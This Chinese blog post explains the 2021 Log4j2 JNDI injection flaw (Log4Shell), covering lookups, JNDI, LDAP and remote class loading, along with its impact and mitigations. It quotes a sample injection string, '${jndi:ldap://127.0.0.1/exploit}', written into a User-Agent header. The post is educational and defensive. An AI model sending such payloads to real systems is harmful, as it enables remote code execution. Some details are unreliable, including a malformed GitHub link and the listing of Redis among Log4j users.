大家好，我是小刘，开门见山，知名的开源项目 Apache Log4j 出事了！

2021 年 12 月 9 日，该项目被曝存在 严重安全漏洞 ，攻击者只需要向目标机传入一段特殊代码，就能触发漏洞，自由地在远程执行任意代码来控制目标机器！

老实说，光听到这个消息，我就觉得很可怕了。因为 Log4j 作为 Java 的知名日志记录框架，凭借其灵活高效的日志生成能力，不仅被众多自研项目所使用，还被很多明星项目作为了基础框架使用，像 Redis、Kafka、Elasticsearch、Apache Flink、Apache Druid 等等。可以想象这个漏洞的影响范围有多大，甚至被很多媒体称之为 “核弹级” 漏洞！

最近几天大家都会被这么一条IT行业的新闻刷屏了：

那问题来了 Log4j2是什么呢？

Apache Log4j2 是一个基于Java的日志记录工具，是 Log4j 的升级，在其前身Log4j 1.x基础上提供了 Logback 中可用的很多优化，同时修复了Logback架构中的一些问题，是目前最优秀的 Java日志框架之一。

在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback。

这次的bug漏洞是：

Apache Log4j 2是一款优秀的Java日志框架。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。由于Apache Log4j 2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。

此次 Apache Log4j2 漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。

           

那怎么在项目中找到是否用到了log4j2呢？

那我来教程一波：

上面是在pom.xml的依赖

我们ctrl+shift+alt+u ：跳到idea的依赖图谱

然后在ctrl+f 中搜索log4j就知道，项目中是否用到了它了。

说说：log4j2

我们经常会在日志中输出一些变量，比如：

logger.info("client ip: {}", clientIp)


现在思考一个问题：

假如现在想要通过日志输出一个Java对象，但这个对象不在程序中，而是在其他地方，比如可能在某个文件中，甚至可能在网络上的某个地方，这种时候怎么办呢？

log4j2的强大之处在于，除了可以输出程序中的变量，它还提供了一个叫Lookup的东西，可以用来输出更多内容：

lookup，顾名思义就是查找、搜索的意思，那在log4j2中，就是允许在输出日志的时候，通过某种方式去查找要输出的内容。

lookup相当于是一个接口，具体去哪里查找，怎么查找，就需要编写具体的模块去实现了，类似于面向对象编程中多态那意思。

好在，log4j2已经帮我们把常见的查找途径都进行实现了：

具体每一个的意思，这里就不详述了，这不是本文的重点。

JNDI

主要来看其中那个叫JNDI的东西：

JNDI即Java Naming and Directory Interface（JAVA命名和目录接口），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。

看不懂？看不懂就对了！

简单粗暴理解：有一个类似于字典的数据源，你可以通过JNDI接口，传一个name进去，就能获取到对象了。

那不同的数据源肯定有不同的查找方式，所以JNDI也只是一个上层封装，在它下面也支持很多种具体的数据源。

LDAP

继续把目光聚焦，咱们只看这个叫LDAP的东西。

LDAP即Lightweight Directory Access Protocol（轻量级目录访问协议），目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。所以目录天生是用来查询的，就好像它的名字一样。

看不懂？看不懂就对了！

这个东西用在统一身份认证领域比较多，但今天也不是这篇文章的重点。你只需要简单粗暴理解：有一个类似于字典的数据源，你可以通过LDAP协议，传一个name进去，就能获取到数据。

bug漏洞的原理

好了，有了以上的基础，再来理解这个漏洞就很容易了。

假如某一个Java程序中，将浏览器的类型记录到了日志中：

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);


网络安全中有一个准则：不要信任用户输入的任何信息。

这其中，User-Agent就属于外界输入的信息，而不是自己程序里定义出来的。只要是外界输入的，就有可能存在恶意的内容。

假如有人发来了一个HTTP请求，他的User-Agent是这样一个字符串：

${jndi:ldap://127.0.0.1/exploit}


接下来，log4j2将会对这行要输出的字符串进行解析。

首先，它发现了字符串中有 ${}，知道这个里面包裹的内容是要单独处理的。

进一步解析，发现是JNDI扩展内容。

再进一步解析，发现了是LDAP协议，LDAP服务器在127.0.0.1，要查找的key是exploit。

最后，调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据，那也没什么，但问题就出在还可以请求Java对象！

Java对象一般只存在于内存中，但也可以通过序列化的方式将其存储到文件中，或者通过网络传输。

如果是自己定义的序列化方式也还好，但更危险的在于：JNDI还支持一个叫命名引用（Naming References）的方式，可以通过远程下载一个class文件，然后下载后加载起来构建对象。

PS：有时候Java对象比较大，直接通过LDAP这些存储不方便，就整了个类似于二次跳转的意思，不直接返回对象内容，而是告诉你对象在哪个class里，让你去那里找。

注意，这里就是核心问题了：JNDI可以远程下载class文件来构建对象！！！。

危险在哪里？

如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码，那不就完犊子了吗？

还没看懂？没关系，我画了一张图：

这就是鼎鼎大名的JNDI注入攻击！

其实除了LDAP，还有RMI的方式，有兴趣的可以了解下。

JNDI 注入

其实这种攻击手法不是这一次出现了，早在2016的blackhat大会上，就有大佬披露了这种攻击方式。

回过头来看，问题的核心在于：

Java允许通过JNDI远程去下载一个class文件来加载对象，如果这个远程地址是自己的服务器，那还好说，如果是可以被外界来指定的地址，那就要出大问题！

前面的例子中，一直用的127.0.0.1来代替LDAP服务器地址，那如果输入的User-Agent字符串中不是这个地址，而是一个恶意服务器地址呢？

影响规模

这一次漏洞的影响面之所以如此之大，主要还是log4j2的使用面实在是太广了。

一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛，国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外，还有多如牛毛的中小企业选择Java。

另一方面，还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。

在上面这些开发过程中，大量使用了log4j2作为日志输出。只要一个不留神，输出的日志有外部输入混进来，那直接就是远程代码执行RCE，灭顶之灾！

修复措施

建议排查Java应用是否引入log4j-api , log4j-core 两个jar，若存在使用，极大可能会受到影响，强烈建议受影响用户尽快进行防护 。

1. 升级Apache Log4j 2所有相关应用到最新的 log4j-2.15.0-rc2 版本，地址：https://github.com/apache/logginglog4j2/releases/tag/log4j-2.15.0-rc2

2. 升级已知受影响的应用及组件，如：

3. 
   

1. spring-boot-strater-log4j2

2. Apache Solr

3. Apache Flink

4. Apache Druid

紧急缓解措施：

如果还来不及更新版本修复，可通过下面的方法紧急缓解问题

（1） 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

（2） 修改配置：log4j2.formatMsgNoLookups=True

（3） 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

1、https://github.com/apache/logging-log4j2

2、https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

总结：

1.这log4j出现漏洞，影响了很多的知名项目像 Redis、Kafka、Elasticsearch、Apache Flink、Apache Druid 等等。

2.解决方案：

• 1.升级版本

  目前 Apache 官方已经针对该漏洞发布了补丁版本 2.15.0-rc2，默认禁用了 lookup 行为，在确保升级该版本不会对项目的其他依赖产生冲突的情况下，建议升级。

  该方案虽然比较简单粗暴，但这个版本是否稳定？是否没有漏洞呢？这很难说。

• 2.修改参数

如果你不想升级 log4j 的版本，担心会和项目其他依赖产生冲突的话，可以采用 Apache 官方推荐的临时解决方案 —— 修改参数。

如果你的 log4j 版本 >= 2.10，可以通过设置系统属性 log4j2.formatMsgNoLookups 或者环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 来禁用 lookup 行为；如果版本在 2.0-beta9 到 2.10.0 之间， 可以直接移除从 classpath 中移除  JndiLookup 类，用以下命令即可：

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class



这个方案相对不容易引发项目的冲突，如果项目很紧急且重要，先用它处理吧。

• 3.换框架

最暴力、也是解决最彻底的方案就是干脆不用 log4j 了，用别的！

比如我自己很早之前就弃用 log4j，改用 logback 了，不说别的，logback 的测试更加充分，质量相对有保障一些。毕竟日志框架作为一个项目必备的核心依赖，稳定性是至关重要的。

当然，这种方式对项目的影响可能会很大，如果一定要整体替换框架，建议进行充分的测试（覆盖率越高越好），可不是改几行代码那么简单。

• 4.重新写一个（这个不符合现实，只是口嗨，哈哈哈哈哈）

3.这个漏洞，让我们知道了软件开发中的 不信任原则 ，没有绝对可信、完全不出问题的服务，所以我们开发者要做的就是时刻多留一个心眼儿，尽量针对一些服务的不稳定去设计一些保护或降级措施。比如假设分布式缓存会挂掉，可以再设计本地缓存继续提供临时服务，保障系统的可用性。

4.不过还行，这次漏洞没怎么影响我，我那个项目才开始写，既然出现了漏洞了，那我就把我的那个模块的log4j删除在引入其他的日志框架就行，问题不大。

5.我不知道，其他的小伙伴你们这个周末加班，修复漏洞了没，躺枪了没。